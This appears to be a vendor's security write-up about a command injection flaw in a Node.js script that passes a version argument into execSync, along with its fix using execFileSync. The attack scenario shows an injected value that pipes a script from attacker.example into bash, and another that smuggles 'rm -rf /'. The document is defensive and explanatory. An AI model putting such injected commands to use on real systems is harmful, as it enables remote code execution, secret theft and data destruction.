How Command Injection happens in Node.js child_process calls and how to fix it

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The Specific Incident

In tools/js/extractPcEntityMetadata.js, a high-severity command injection vulnerability was identified by Semgrep at line 96. The function extractPcEntityMetadata(version, mcdataVersion, opts) accepted a version parameter and passed it — without any sanitization — directly into a shell command string executed via child_process.execSync(). This is a textbook example of how a seemingly convenient one-liner can introduce a critical security primitive into an otherwise functional tool.

This matters beyond the immediate codebase: the pattern of interpolating function arguments into execSync() calls is widespread in Node.js tooling, build scripts, and CLI utilities. Understanding exactly how this breaks, and exactly how the fix works, is valuable for any developer writing Node.js tooling code.

The Vulnerability Explained

What execSync Actually Does

child_process.execSync() in Node.js works by spawning a shell — /bin/sh on Unix or cmd.exe on Windows — and passing your entire command string to it for interpretation. This means the shell sees your string and processes every metacharacter in it: semicolons (;), pipes (|), ampersands (&&, &), backticks (`), $() substitutions, and more.

The Vulnerable Code

Here is the exact vulnerable line from extractPcEntityMetadata.js:96:

cp.execSync(
  `git clone -b client${version} https://github.com/extremeheat/extracted_minecraft_data.git ${sourceDir} --depth 1`,
  { stdio: 'inherit' }
)

The version variable is interpolated directly into the template literal. The resulting string is handed wholesale to the shell. If version contains shell metacharacters, the shell will execute them.

A Concrete Attack Scenario

Imagine version is sourced from a configuration file, a CLI flag, a network request, or any other external input. An attacker who can influence version could supply a value like:

1.20.1; curl https://attacker.example/shell.sh | bash

The shell would then execute:

git clone -b client1.20.1 https://github.com/extremeheat/extracted_minecraft_data.git ./some/dir --depth 1; curl https://attacker.example/shell.sh | bash

The git clone runs (or fails), and then the attacker's payload runs with the same privileges as the Node.js process. On a CI/CD server or developer machine, this could mean:

• Exfiltration of secrets, tokens, and SSH keys
• Installation of persistent backdoors
• Lateral movement within a build infrastructure
• Tampering with build artifacts

Even a subtler payload could work. The sourceDir variable is also interpolated into the same string — if it contains spaces or special characters, the command breaks or becomes exploitable via path manipulation.

Why This Is Flagged Even Without a Known Exploit Path

The PR description notes this is "defensive hardening" — the version parameter may not currently be directly user-controlled in the typical execution path. However, Semgrep correctly flags it because:

1. The code structure creates an exploit primitive. Any future change that makes version externally controllable instantly becomes a critical RCE.
2. Automated exploit-development tools can chain this with other weaknesses (e.g., a path traversal that writes a config file, or an SSRF that influences a version string) to create a full exploit chain.
3. The fix is trivially easy and has zero impact on valid inputs.

The Fix

What Changed at Line 96

The fix replaces execSync with execFileSync and restructures the arguments from a single interpolated string into an array:

Before (vulnerable):

cp.execSync(
  `git clone -b client${version} https://github.com/extremeheat/extracted_minecraft_data.git ${sourceDir} --depth 1`,
  { stdio: 'inherit' }
)

After (hardened):

cp.execFileSync(
  'git',
  ['clone', '-b', `client${version}`, 'https://github.com/extremeheat/extracted_minecraft_data.git', sourceDir, '--depth', '1'],
  { stdio: 'inherit' }
)

Why This Fix Works

child_process.execFileSync() does not invoke a shell. Instead, it calls the OS execve() system call (or equivalent) directly, passing the executable and its arguments as separate entries in the argv array. The OS kernel handles argument passing, and shell metacharacters in any array element are treated as literal characters — not as shell syntax.

This means that even if version is 1.20.1; rm -rf /, the git process receives the branch name argument as the literal string client1.20.1; rm -rf /, which git will simply reject as an unknown branch. No shell ever sees it.

The sourceDir variable is also now passed as a separate array element, which closes the secondary injection point in the original string.

The Security Improvement in Concrete Terms

The fix is a strict improvement: it preserves all behavior for well-formed inputs while completely eliminating the shell injection surface.

Key Takeaways

• execSync + template literals = shell injection risk: Any time you interpolate a variable into a string passed to execSync(), you are trusting that variable to be shell-safe. In extractPcEntityMetadata.js, the version argument had no such guarantee.
• execFileSync with an argument array is the correct pattern: Splitting the command and its arguments into separate array elements bypasses the shell entirely. This is the idiomatic, safe way to call external programs in Node.js.
• Both version and sourceDir were injection points: The original one-liner interpolated two variables. The fix correctly moves both into the argument array, closing both vectors simultaneously.
• "Not currently exploitable" is not the same as "safe": The version parameter may not be directly user-controlled today, but the code structure creates a latent exploit primitive. Proactive hardening prevents future vulnerabilities from being introduced when the calling code evolves.
• Static analysis tools like Semgrep catch these patterns automatically: The Semgrep rule flagged this issue precisely because it tracks tainted function arguments flowing into child_process calls — a pattern that is dangerous regardless of the current call context.

How Orbis AppSec Detected This

• Source: The version function argument in extractPcEntityMetadata(version, mcdataVersion, opts) — a value passed in by callers that could originate from external configuration, CLI input, or network data.
• Sink: cp.execSync(...) at tools/js/extractPcEntityMetadata.js:96, where the version value is interpolated into a shell command string via a template literal.
• Missing control: No sanitization, escaping, or allowlist validation was applied to version before it was embedded in the shell command string. The shell was invoked unconditionally via execSync.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection")
• Fix: Replaced cp.execSync() with cp.execFileSync(), passing the git binary and all arguments (including version and sourceDir) as separate array elements, eliminating shell invocation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in extractPcEntityMetadata.js is a clear illustration of how a small, convenient shortcut — using execSync with a template literal — introduces a high-severity security primitive into production code. The version parameter flowed directly from a function argument into a shell command with no sanitization, no validation, and no escaping.

The fix is elegant in its simplicity: replace execSync with execFileSync and pass arguments as an array. No shell is invoked, no metacharacters are interpreted, and the behavior for all valid inputs is identical. This is the pattern every Node.js developer should reach for whenever they need to call an external binary.

Security is often about raising the cost of exploitation. By eliminating this shell injection primitive proactively, the codebase becomes more resilient against future changes that might make version directly attacker-controllable — and against the increasingly capable automated tools that look for exactly these patterns to chain into full exploits.